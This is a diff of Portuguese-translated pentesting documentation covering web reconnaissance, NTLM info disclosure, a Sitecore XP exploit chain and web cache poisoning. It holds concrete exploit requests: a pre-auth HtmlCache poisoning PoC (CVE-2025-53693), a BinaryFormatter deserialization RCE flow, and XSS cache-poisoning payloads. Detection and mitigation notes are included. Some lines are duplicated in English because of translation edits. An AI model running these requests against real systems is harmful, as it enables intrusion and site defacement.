- **API keys**: Se você **encontrar alguma API key** há projetos que indicam como utilizar API keys de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: Se encontrar qualquer API key que comece com **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik você pode usar o projeto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar quais apis a key consegue acessar.
- **S3 Buckets**: Enquanto faz spidering verifique se algum **subdomain** ou **link** está relacionado a algum **S3 bucket**. Nesse caso, [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Durante** a **execução** do **spidering** e do **brute-forcing** você pode encontrar **coisas interessantes** que deve **notar**.
**Interesting files**
**Arquivos interessantes**
- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
- Procure por **links** para outros arquivos dentro dos arquivos **CSS**.
- [Se você encontrar um _**.git**_ alguns dados podem ser extraídos](git.md)
- Se encontrar um _**.env**_ informações como api keys, senhas de dbs e outras informações podem ser encontradas.
- Se encontrar **API endpoints** você [deve também testá-los](web-api-pentesting.md). Estes não são arquivos, mas provavelmente "parecerão" com eles.
- **JS files**: Na seção de spidering foram mencionadas várias ferramentas que extraem paths de arquivos JS. Além disso, seria interessante **monitorar cada arquivo JS encontrado**, pois em algumas ocasiões, uma alteração pode indicar que uma potencial vulnerabilidade foi introduzida no código. Você pode usar, por exemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
- Você também deve checar os arquivos JS descobertos com [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) para ver se estão vulneráveis.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
- **JsFuck deobfuscation** (javascript com caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Em várias ocasiões, você precisará **entender as expressões regulares** usadas. Isso será útil: [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex)
- Você também pode **monitorar os arquivos onde forms foram detectados**, pois uma mudança nos parâmetros ou o aparecimento de um novo form pode indicar uma nova funcionalidade potencialmente vulnerável.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +313,28 @@ _Obs.: sempre que um novo diretório for descoberto durante brute-forcing ou spi
**502 Proxy Error**
If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
Se alguma página **responder** com esse **código**, provavelmente é um **proxy mal configurado**. **Se você enviar uma requisição HTTP como: `GET https://google.com HTTP/1.1`** (com o header host e outros headers comuns), o **proxy** tentará **acessar** _**google.com**_ **e você terá encontrado um** SSRF.
**NTLM Authentication - Info disclosure**
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
Se o servidor que está pedindo autenticação for **Windows** ou você encontrar um login pedindo suas **credentials** (e pedindo o **domain**), você pode provocar uma **divulgação de informação**.\
**Envie** o **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e devido a como a **NTLM authentication** funciona, o servidor irá responder com informações internas (versão do IIS, versão do Windows...) dentro do header "WWW-Authenticate".\
Você pode **automatizar** isso usando o **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
É possível **colocar conteúdo** dentro de uma **Redirection**. Esse conteúdo **não será mostrado ao usuário** (já que o browser irá executar a redireção) mas algo pode estar **escondido** ali.
### Web Vulnerabilities Checking
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
Agora que uma enumeração abrangente da aplicação web foi realizada, é hora de checar várias vulnerabilidades possíveis. Você pode encontrar o checklist aqui:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Find more info about web vulns in:
Encontre mais info sobre web vulns em:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)

194
src/network-services-pentesting/pentesting-web/sitecore/README.md Normal file
View File

@ -0,0 +1,194 @@
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
{{#include ../../../banners/hacktricks-training.md}}
Esta página resume uma cadeia de ataque prática contra o Sitecore XP 10.4.1 que pivota de um handler XAML pre‑auth para HTML cache poisoning e, através de um fluxo de UI autenticado, culmina em RCE via BinaryFormatter deserialization. As técnicas generalizam-se a versões/componentes semelhantes do Sitecore e fornecem primitivas concretas para testar, detectar e reforçar a segurança.
- Produto afetado testado: Sitecore XP 10.4.1 rev. 011628
- Corrigido em: KB1003667, KB1003734 (junho/julho 2025)
Veja também:
{{#ref}}
../../../pentesting-web/cache-deception/README.md
{{#endref}}
{{#ref}}
../../../pentesting-web/deserialization/README.md
{{#endref}}
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
O ponto de entrada é o handler XAML pre‑auth registrado em web.config:
```xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
```
Acessível via:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
A árvore de controles inclui AjaxScriptManager que, em requisições de evento, lê campos controlados pelo atacante e invoca métodos por reflexão nos controles alvo:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Observação-chave: a página XAML inclui uma instância XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva de Sitecore.Web.UI.WebControl (uma classe Sitecore), que passa a lista de permissão ReflectionUtil.Filter (Sitecore.*), desbloqueando métodos em Sitecore WebControl.
Método mágico para poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Como podemos direcionar xmlcontrol:GlobalHeader e chamar métodos de Sitecore.Web.UI.WebControl pelo nome, obtemos uma primitiva de escrita arbitrária do HtmlCache pre-auth.
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Notas:
- __SOURCE é o clientID de xmlcontrol:GlobalHeader dentro de Sitecore.Shell.Xaml.WebControl (comumente estável como ctl00_ctl00_ctl05_ctl03 pois é derivado de XAML estático).
- __PARAMETERS tem o formato Method("arg1","arg2").
## O que envenenar: construção da chave de cache
Construção típica da chave HtmlCache usada pelos controles do Sitecore:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
```
Exemplo de targeted poisoning para um sublayout conhecido:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Enumerando itens cacheáveis e dimensões “vary by”
Se o ItemService estiver (mal)exposto anonimamente, você pode enumerar componentes cacheáveis para derivar chaves exatas.
Sonda rápida:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Listar itens e flags cacheáveis:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Procure por campos como Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Os nomes de dispositivos podem ser enumerados via:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
Mesmo quando o ItemService se faz passar por uma conta limitada (por exemplo, ServicesAPI) e retorna um array Results vazio, o TotalCount pode ainda refletir Solr hits pré‑ACL. É possível brute‑force item groups/ids com wildcards e observar o TotalCount convergir para mapear conteúdo e dispositivos internos:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
```
## Post‑auth RCE: BinaryFormatter sink em convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Alcançável via a etapa do pipeline convertToRuntimeHtml ConvertWebControls, que procura por um elemento com id {iframeId}_inner e decodifica base64 + desserializa o conteúdo, então injeta a string resultante no HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Acionar (autenticado, direitos de Content Editor). O diálogo FixHtml chama convertToRuntimeHtml. Fluxo ponta a ponta sem cliques na UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Geração de gadgets: use ysoserial.net / YSoNet com BinaryFormatter para produzir um payload base64 que retorna uma string. O conteúdo da string é escrito no HTML pelo ConvertWebControls após os efeitos colaterais da desserialização serem executados.
{{#ref}}
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
## Cadeia completa
1) Pre‑auth atacante envenena HtmlCache com HTML arbitrário por invocação reflexiva de WebControl.AddToCache via XAML AjaxScriptManager.
2) O HTML envenenado entrega JavaScript que conduz um usuário Content Editor autenticado pelo fluxo FixHtml.
3) A página FixHtml aciona convertToRuntimeHtml → ConvertWebControls, que desserializa base64 controlado pelo atacante via BinaryFormatter → RCE sob a identidade do app pool do Sitecore.
## Detecção
- Pre‑auth XAML: solicitações para `/-/xaml/Sitecore.Shell.Xaml.WebControl` com `__ISEVENT=1`, `__SOURCE` suspeito e `__PARAMETERS=AddToCache(...)`.
- Sondagem do ItemService: picos de consultas curinga a `/sitecore/api/ssc`, grande `TotalCount` com `Results` vazios.
- Tentativas de desserialização: `EditHtml.aspx` seguido de `FixHtml.aspx?hdl=...` e base64 incomumente grande em campos HTML.
## Mitigações
- Aplique os patches Sitecore KB1003667 e KB1003734; restrinja/desative handlers XAML pre‑auth ou adicione validação estrita; monitore e limite a taxa de `/-/xaml/`.
- Remova/substitua o BinaryFormatter; restrinja acesso a convertToRuntimeHtml ou imponha validação forte no servidor para os fluxos de edição de HTML.
- Proteja `/sitecore/api/ssc` para loopback ou funções autenticadas; evite padrões de impersonation que provoquem leak de side channels baseados em `TotalCount`.
- Aplique MFA/princípio do menor privilégio para usuários Content Editor; revise CSP para reduzir o impacto do JS steering proveniente de cache poisoning.
## References
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}

228
src/pentesting-web/cache-deception/README.md
View File

@ -4,127 +4,131 @@
## A diferença
> **Qual é a diferença entre envenenamento de cache da web e engano de cache da web?**
> **What is the difference between web cache poisoning and web cache deception?**
>
> - No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> - No **engano de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
> - Em **web cache poisoning**, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> - Em **web cache deception**, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache.
## Envenenamento de Cache
## Cache Poisoning
O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache.
Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar clientes a carregar recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitarem a página durante o período de contaminação do cache.
A execução de um ataque de envenenamento de cache envolve várias etapas:
A execução de um ataque de cache poisoning envolve vários passos:
1. **Identificação de Entradas Não Chaveadas**: Estes são parâmetros que, embora não sejam necessários para que uma solicitação seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois podem ser exploradas para manipular o cache.
2. **Exploração das Entradas Não Chaveadas**: Após identificar as entradas não chaveadas, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma maneira que beneficie o atacante.
3. **Garantir que a Resposta Envenenada seja Armazenada em Cache**: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.
1. **Identificação de parâmetros não incluídos na chave**: São parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar esses parâmetros é crucial, pois podem ser explorados para manipular o cache.
2. **Exploração dos parâmetros não incluídos na chave**: Depois de identificar esses parâmetros, o próximo passo é descobrir como abusá-los para modificar a resposta do servidor de forma a beneficiar o atacante.
3. **Garantir que a resposta envenenada seja armazenada no cache**: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.
### Descoberta: Verifique os cabeçalhos HTTP
### Descoberta: Verificar headers HTTP
Geralmente, quando uma resposta foi **armazenada em cache**, haverá um **cabeçalho indicando isso**, você pode verificar quais cabeçalhos deve prestar atenção neste post: [**Cabeçalhos de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Normalmente, quando uma resposta foi **armazenada no cache** haverá um **header indicando isso**, você pode verificar quais headers deve observar neste post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Descoberta: Códigos de erro de cache
### Descoberta: Cacheando códigos de erro
Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar **enviar solicitações com um cabeçalho ruim**, que deve ser respondido com um **código de status 400**. Então, tente acessar a solicitação normalmente e se a **resposta for um código de status 400**, você sabe que é vulnerável (e você poderia até realizar um DoS).
Se você suspeita que a resposta está sendo armazenada em cache, você pode tentar **enviar requisições com um header inválido**, que deveria responder com **status code 400**. Em seguida, tente acessar a requisição normalmente e se a **resposta for um status code 400**, você sabe que está vulnerável (e você poderia até realizar um DoS).
Você pode encontrar mais opções em:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
No entanto, note que **às vezes esses tipos de códigos de status não são armazenados em cache**, então este teste pode não ser confiável.
No entanto, note que **às vezes esses tipos de códigos de status não são cacheados**, portanto esse teste pode não ser confiável.
### Descoberta: Identificar e avaliar entradas não chaveadas
### Descoberta: Identificar e avaliar parâmetros não incluídos na chave
Você poderia usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **forçar parâmetros e cabeçalhos** que podem estar **mudando a resposta da página**. Por exemplo, uma página pode estar usando o cabeçalho `X-Forwarded-For` para indicar ao cliente que carregue o script a partir daí:
Você pode usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) para **brute-force parameters and headers** que podem estar **alterando a resposta da página**. Por exemplo, uma página pode estar usando o header `X-Forwarded-For` para indicar ao cliente que carregue o script a partir daí:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicitar uma resposta prejudicial do servidor back-end
### Provocar uma resposta prejudicial do servidor back-end
Com o parâmetro/cabeçalho identificado, verifique como ele está sendo **sanitizado** e **onde** está **sendo refletido** ou afetando a resposta do cabeçalho. Você pode abusar disso de alguma forma (realizar um XSS ou carregar um código JS controlado por você? realizar um DoS?...)
Com o parâmetro/header identificado, verifique como ele está sendo **sanitizado** e **onde** ele está **sendo refletido** ou afetando a resposta do header. Você consegue abusar disso de alguma forma (executar um XSS ou carregar um código JS controlado por você? executar um DoS?...)
### Obter a resposta em cache
### Fazer com que a resposta seja cacheada
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**cabeçalho** usar e **como** abusar disso, você precisa fazer a página ser armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.
Uma vez que você tenha **identificado** a **página** que pode ser abusada, qual **parâmetro**/**header** usar e **como** **abusar** dele, você precisa fazer com que a página seja cacheada. Dependendo do recurso que você está tentando colocar no cache isso pode levar algum tempo, pode ser necessário tentar por vários segundos.
O cabeçalho **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando a solicitação não foi armazenada em cache e o valor **`hit`** quando está em cache.\
O cabeçalho **`Cache-Control`** também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: `Cache-Control: public, max-age=1800`
O header **`X-Cache`** na resposta pode ser muito útil, pois pode ter o valor **`miss`** quando o request não foi cacheado e o valor **`hit`** quando está cacheado.\
O header **`Cache-Control`** também é interessante para saber se um recurso está sendo cacheado e quando será a próxima vez que o recurso será recacheado: `Cache-Control: public, max-age=1800`
Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente usado para **indicar cabeçalhos adicionais** que são tratados como **parte da chave de cache**, mesmo que normalmente não sejam indexados. Portanto, se o usuário souber o `User-Agent` da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele `User-Agent` específico.
Outro header interessante é **`Vary`**. Este header é frequentemente usado para **indicar headers adicionais** que são tratados como **parte da cache key** mesmo se normalmente não são keyeados. Portanto, se o usuário souber o `User-Agent` da vítima que está a ser alvo, ele pode poison the cache para os usuários que usam esse `User-Agent` específico.
Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy.
Mais um header relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto está no proxy cache.
Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **indexados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
Ao cachear um request, tenha **cuidado com os headers que você usa**, porque alguns deles podem ser **usados inesperadamente** como **parte da chave** e a **vítima precisará usar esse mesmo header**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
## Exemplos de Exploração
### Exemplo mais fácil
### Exemplo mais simples
Um cabeçalho como `X-Forwarded-For` está sendo refletido na resposta sem sanitização.\
Você pode enviar um payload básico de XSS e envenenar o cache para que todos que acessarem a página sejam XSSados:
Um header como `X-Forwarded-For` está sendo refletido na resposta sem sanitização.\
Você pode enviar um payload XSS básico e poison the cache para que todo mundo que acessar a página seja XSSed:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note que isso irá envenenar uma solicitação para `/en?region=uk` e não para `/en`_
_Observe que isto irá poison uma request para `/en?region=uk` e não para `/en`_
### Cache poisoning para DoS
### Envenenamento de cache para DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Envenenamento de cache através de CDNs
### Cache poisoning através de CDNs
Em **[este relatório](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** é explicado o seguinte cenário simples:
Em **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** é explicado o seguinte cenário simples:
- A CDN irá armazenar em cache qualquer coisa sob `/share/`
- A CDN NÃO irá decodificar nem normalizar `%2F..%2F`, portanto, pode ser usada como **traversal de caminho para acessar outras localizações sensíveis que serão armazenadas em cache** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- O servidor web Irá decodificar e normalizar `%2F..%2F`, e irá responder com `/api/auth/session`, que **contém o token de autenticação**.
- A CDN NÃO irá decodificar nem normalizar `%2F..%2F`, portanto pode ser usado como **path traversal to access other sensitive locations that will be cached** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- O servidor web VAI decodificar e normalizar `%2F..%2F`, e responderá com `/api/auth/session`, que **contém o auth token**.
### Usando envenenamento de cache web para explorar vulnerabilidades de manipulação de cookies
### Usando web cache poisoning para explorar vulnerabilidades no tratamento de cookies
Cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderá explorar XSS em vários clientes que carreguem a resposta em cache maliciosa.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Note que se o cookie vulnerável for muito utilizado pelos usuários, solicitações regulares estarão limpando o cache.
Note que, se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache.
### Gerando discrepâncias com delimitadores, normalização e pontos <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Verifique:
Veja:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Envenenamento de cache com travessia de caminho para roubar chave da API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning com path traversal para roubar API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Este relatório explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
Isto também é explicado melhor em:
Isso também é explicado melhor em:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Usando múltiplos headers para explorar web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Às vezes, você precisará **explorar várias entradas não chaveadas** para poder abusar de um cache. Por exemplo, você pode encontrar um **redirecionamento aberto** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **Se** o **servidor** estiver **encaminhando** todas as **requisições HTTP** **para HTTPS** e usando o cabeçalho `X-Forwarded-Scheme` como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.
Às vezes será necessário **exploit several unkeyed inputs** para poder abusar de um cache. Por exemplo, você pode encontrar um **Open redirect** se definir `X-Forwarded-Host` para um domínio controlado por você e `X-Forwarded-Scheme` para `http`. **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. Você pode controlar para onde a página é apontada pelo redirect.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Explorando com o cabeçalho `Vary` limitado
### Explorando com `Vary` cabeçalho limitado
